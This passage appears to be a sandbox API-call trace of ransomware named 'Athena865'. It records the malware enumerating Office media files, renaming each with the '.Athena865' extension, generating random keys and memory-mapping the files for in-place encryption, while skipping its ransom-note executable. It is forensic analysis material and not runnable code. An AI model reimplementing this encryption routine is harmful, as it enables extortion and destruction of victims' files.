Office\\MEDIA\\CAGCAT10\\J0299125.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf.athena865"), dwFlags=0x1) returned 1 [0139.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.180] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5692) returned 1 [0139.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.180] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.181] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.181] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.181] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1940, lpName=0x0) returned 0x154 [0139.183] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1940) returned 0x100000 [0139.184] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.184] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.184] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.185] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.185] CloseHandle (hObject=0x154) returned 1 [0139.185] CloseHandle (hObject=0x17c) returned 1 [0139.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.186] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0139.186] lstrcmpiW (lpString1="J0299171.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.186] lstrcmpiW (lpString1="J0299171.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.186] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0299171.WMF" | out: lpString1="J0299171.WMF") returned="J0299171.WMF" [0139.186] lstrlenW (lpString="J0299171.WMF") returned 12 [0139.186] lstrlenW (lpString="Athena865") returned 9 [0139.186] lstrcmpiW (lpString1="99171.WMF", lpString2="Athena865") returned -1 [0139.186] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.Athena865") returned 71 [0139.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf.athena865"), dwFlags=0x1) returned 1 [0139.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.188] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9142) returned 1 [0139.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.188] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.189] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.189] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.189] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26c0, lpName=0x0) returned 0x154 [0139.191] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26c0) returned 0x100000 [0139.191] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.192] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.192] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.193] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.193] CloseHandle (hObject=0x154) returned 1 [0139.193] CloseHandle (hObject=0x17c) returned 1 [0139.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.193] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0139.193] lstrcmpiW (lpString1="J0299587.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.194] lstrcmpiW (lpString1="J0299587.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.194] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0299587.WMF" | out: lpString1="J0299587.WMF") returned="J0299587.WMF" [0139.194] lstrlenW (lpString="J0299587.WMF") returned 12 [0139.194] lstrlenW (lpString="Athena865") returned 9 [0139.194] lstrcmpiW (lpString1="99587.WMF", lpString2="Athena865") returned -1 [0139.194] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.Athena865") returned 71 [0139.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf.athena865"), dwFlags=0x1) returned 1 [0139.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.195] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25288) returned 1 [0139.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.196] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.196] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.196] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.197] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x65d0, lpName=0x0) returned 0x154 [0139.198] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x65d0) returned 0x100000 [0139.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.200] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.200] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.201] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.201] CloseHandle (hObject=0x154) returned 1 [0139.201] CloseHandle (hObject=0x17c) returned 1 [0139.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.202] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0139.202] lstrcmpiW (lpString1="J0299611.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.202] lstrcmpiW (lpString1="J0299611.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.202] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0299611.WMF" | out: lpString1="J0299611.WMF") returned="J0299611.WMF" [0139.202] lstrlenW (lpString="J0299611.WMF") returned 12 [0139.202] lstrlenW (lpString="Athena865") returned 9 [0139.202] lstrcmpiW (lpString1="99611.WMF", lpString2="Athena865") returned -1 [0139.202] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.Athena865") returned 71 [0139.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf.athena865"), dwFlags=0x1) returned 1 [0139.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.204] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4880) returned 1 [0139.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.205] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.205] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.205] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.206] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1610, lpName=0x0) returned 0x154 [0139.207] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1610) returned 0x100000 [0139.208] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.209] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.209] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.209] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.209] CloseHandle (hObject=0x154) returned 1 [0139.210] CloseHandle (hObject=0x17c) returned 1 [0139.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.210] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0139.210] lstrcmpiW (lpString1="J0299763.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.210] lstrcmpiW (lpString1="J0299763.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.210] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0299763.WMF" | out: lpString1="J0299763.WMF") returned="J0299763.WMF" [0139.210] lstrlenW (lpString="J0299763.WMF") returned 12 [0139.210] lstrlenW (lpString="Athena865") returned 9 [0139.210] lstrcmpiW (lpString1="99763.WMF", lpString2="Athena865") returned -1 [0139.210] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.Athena865") returned 71 [0139.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf.athena865"), dwFlags=0x1) returned 1 [0139.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.212] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17186) returned 1 [0139.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.212] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.213] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.213] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.213] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4630, lpName=0x0) returned 0x154 [0139.214] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4630) returned 0x100000 [0139.215] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.216] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.216] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.217] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0300520.GIF" | out: lpString1="J0300520.GIF") returned="J0300520.GIF" [0139.217] lstrlenW (lpString="J0300520.GIF") returned 12 [0139.217] lstrlenW (lpString="Athena865") returned 9 [0139.217] lstrcmpiW (lpString1="00520.GIF", lpString2="Athena865") returned -1 [0139.218] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.Athena865") returned 71 [0139.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.athena865"), dwFlags=0x1) returned 1 [0139.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.219] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13413) returned 1 [0139.219] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.220] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.220] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.220] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3770, lpName=0x0) returned 0x154 [0139.221] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3770) returned 0x100000 [0139.225] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.225] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.225] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.226] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0300840.WMF" | out: lpString1="J0300840.WMF") returned="J0300840.WMF" [0139.226] lstrlenW (lpString="J0300840.WMF") returned 12 [0139.226] lstrlenW (lpString="Athena865") returned 9 [0139.226] lstrcmpiW (lpString1="00840.WMF", lpString2="Athena865") returned -1 [0139.226] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.Athena865") returned 71 [0139.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf.athena865"), dwFlags=0x1) returned 1 [0139.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf.athena865"), 